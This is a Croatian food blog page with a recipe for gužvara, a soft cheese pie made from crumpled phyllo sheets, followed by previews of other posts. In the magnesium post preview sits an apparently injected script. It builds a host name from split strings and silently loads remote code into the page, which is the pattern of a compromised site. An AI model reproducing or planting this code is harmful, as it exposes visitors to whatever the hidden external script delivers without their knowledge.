GUŽVARA - PROZRAČNA, MEKANA I SOČNA PITA





Gužvara - prozračna, mekana i sočna pita 




Posebnost ove gužvare krije se u načinu pripreme. Kore se ne motaju i ne slažu kao kod klasičnih savijača, već se svaka posebno namače u bogatu smjesu od sira, jaja i vrhnja. Upravo zato pita ostaje mekana, sočna i puna okusa od prvog do posljednjeg zalogaja. Rezultat je pita koja je istovremeno prozračna, mekana i sočna, bez ijednog suhog zalogaja.





Gužvara 


Sastojci:

  • 500 g tankih kora za pite i savijače
  • 500 g svježeg kravljeg sira
  • 200 g kiselog vrhnja
  • 4 jaja
  • 200 ml mineralne vode
  • 100 ml ulja
  • 1 prašak za pecivo
  • 1 žličica soli



Priprema:

U većoj posudi usitnite svježi sir pa dodajte jaja, kiselo vrhnje, ulje, sol i prašak za pecivo.
Sve dobro izmiješajte, a zatim ulijte mineralnu vodu. Smjesa će biti nešto rjeđa nego kod klasičnih pita, što je upravo ono što želimo.
 
Lim za pečenje lagano nauljite, a na dno položite dvije kore tako da rubovi prelaze preko stranica lima.
 
Preostale kore uzimajte jednu po jednu, lagano ih zgužvajte, potpuno uronite u smjesu sa sirom i slažite u lim. Nastavite dok ne potrošite sve kore i nadjev.
 
Na kraju preklopite rubove donjih kora preko vrha. Ako je ostalo još malo smjese, slobodno je rasporedite po površini pite.
 
Pecite u prethodno zagrijanoj pećnici na 200 stupnjeva oko 35 do 40 minuta, odnosno dok ne dobije lijepu zlatnu boju i hrskavu koricu.


 
Nakon pečenja:
Kada pitu izvadite iz pećnice, lagano je poprskajte s nekoliko kapi vode i prekrijte čistom kuhinjskom krpom. Dovoljno je pet minuta da korica omekša taman koliko treba, a unutrašnjost ostane savršeno sočna.
 
Poslužite toplu, uz čašu jogurta ili kiselog mlijeka, i pripremite se na pitanje koje će se sigurno ponavljati za stolom: „Ima li još koji komad?“




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više